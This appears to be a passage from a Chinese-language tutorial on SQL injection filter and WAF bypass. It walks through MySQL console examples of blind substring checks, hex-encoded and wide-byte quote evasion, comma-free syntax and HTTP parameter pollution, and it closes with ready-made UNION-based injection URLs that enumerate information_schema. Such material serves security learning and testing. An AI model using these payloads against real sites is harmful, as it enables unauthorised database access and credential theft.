| 2 | user2 | pass1 |
+----+----------+----------+
2 rows in set (0.00 sec)
mysql> select * from users where id = 1 and substr(username,1,1) between 'a' and 'b';
Empty set (0.00 sec)
mysql> select * from users where id = 1 and substr(username,1,1) between 'a' and 't';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
+----+----------+----------+
1 row in set (0.00 sec)
———————————————— 我们可以利用这种特性来判断是不是相等的：
Copy mysql> select * from users where id = 1 and substr(username,1,1) between 't' and 't';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
+----+----------+----------+
———————————————— 过滤引号绕过：
使用十六进制：
Copy select column_name from information_schema.tables where table_name=0x7573657273; 宽字节：
常用在web应用使用的字符集为GBK时，并且过滤了引号，上文我们已经分享过相关内容了。
Copy # 过滤单引号时
%bf%27 %df%27 %aa%27
%df\’ = %df%5c%27=縗’ 过滤逗号绕过：
我们上文中许多函数都用到了, ，如果被绕过了，我们可以采用如下方式绕过：
from pos for len，其中pos代表从pos个开始读取len长度的子串：
Copy mysql> select substr("string",1,3);
+----------------------+
| substr("string",1,3) |
+----------------------+
| str |
+----------------------+
————————————————
如果,被过滤
mysql> select substr("string" from 1 for 3);
+-------------------------------+
| substr("string" from 1 for 3) |
+-------------------------------+
| str |
+-------------------------------+
1 row in set (0.00 sec)
———————————————— 也可使用join关键字来绕过：
Copy mysql> select * from users union select * from (select 1)a join (select 2)b join(select 3)c;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
| 2 | user2 | pass1 |
| 3 | test3 | pass1 |
| 1 | 2 | 3 |
+----+----------+----------+
———————————————— 其中union select * from (select 1)a join (select 2)b join(select 3)c 等价于union select 1,2,3
使用like关键字：
适用于substr()等提取子串的函数中的逗号：
Copy mysql> select ascii(substr(user(),1,1))=114;
+-------------------------------+
| ascii(substr(user(),1,1))=114 |
+-------------------------------+
| 1 |
+-------------------------------+
mysql> select user() like "r%";
+------------------+
| user() like "r%" |
+------------------+
| 1 |
+------------------+
mysql> select user() like "t%";
+------------------+
| user() like "t%" |
+------------------+
| 0 |
+------------------+
———————————————— 使用offset关键字：
适用于limit中的逗号被过滤的情况
limit 2,1等价limit 1 offset 2
Copy mysql> select * from users limit 2,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 3 | test3 | pass1 |
+----+----------+----------+
mysql> select * from users limit 1 offset 2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 3 | test3 | pass1 |
+----+----------+----------+
———————————————— 过滤函数绕过：
sleep() ，延时函数上文已经介绍，这里不再赘述。
ascii()，hex()、bin()，替代之后再使用对应的进制转string即可。
group_concat()，concat_ws()
Copy mysql> select group_concat("str1","str2");
+-----------------------------+
| group_concat("str1","str2") |
+-----------------------------+
| str1str2 |
+-----------------------------+
1 row in set (0.00 sec)
#第一个参数为分隔符
mysql> select concat_ws(",","str1","str2");
+------------------------------+
| concat_ws(",","str1","str2") |
+------------------------------+
| str1,str2 |
+------------------------------+
———————————————— substr() ，substring() ，mid()可以相互取代, 取子串的函数还有left() ，right()
user() --> @@user、datadir–>@@datadir
ord()–>ascii() ：这两个函数在处理英文时效果一样，但是处理中文等时不一致。
HTTP参数污染：
通过提供多个参数=相同名称的值集来混淆WAF。例如
Copy http://example.com?id=1&?id=' or '1'='1′ — ' 在某些情况下（例如使用Apache/PHP），应用程序将仅解析最后（第二个） id= 而WAF只解析第一个。在应用程序看来这似乎是一个合法的请求，因此应用程序会接收并处理这些恶意输入。
HPP（HTTP Parameter Polution)
Copy /?id=1;select+1,2,3+from+users+where+id=1—
/?id=1;select+1&id=2,3+from+users+where+id=1—
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users HPP又称做重复参数污染，最简单的就是?uid=1&uid=2&uid=3，对于这种情况，不同的Web服务器处理方式如下：
Request.getParameter(“par”)
Request.QueryString(“par”)
All (comma-delimited string)
HPF (HTTP Parameter Fragment)
这种方法是HTTP分割注入，同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)
Copy /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users— HPC (HTTP Parameter Contamination)
RFC2396定义了以下字符：
Copy Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
Reserved : ; / ? : @ & = + $ ,
Unwise : { } | \ ^ [ ] ` 不同的Web服务器处理处理构造得特殊请求时有不同的逻辑：
以魔术字符%为例Asp/Asp.net会受到影响：
缓冲区溢出(Advanced)：
缓冲区溢出用于对付WAF在内的软件本身有不少WAF是C语言写的而C语言自身没有缓冲区保护机制因此如果WAF在处理测试向量时超出了其缓冲区长度就会引发bug从而实现绕过。
Copy ?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 示例0xA*1000指0xA后面A重复1000次一般来说对应用软件构成缓冲区溢出都需要较大的测试长度，这里只是举例，还需按具体情况分析。
整合绕过：
Copy target.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e-- 参考资料
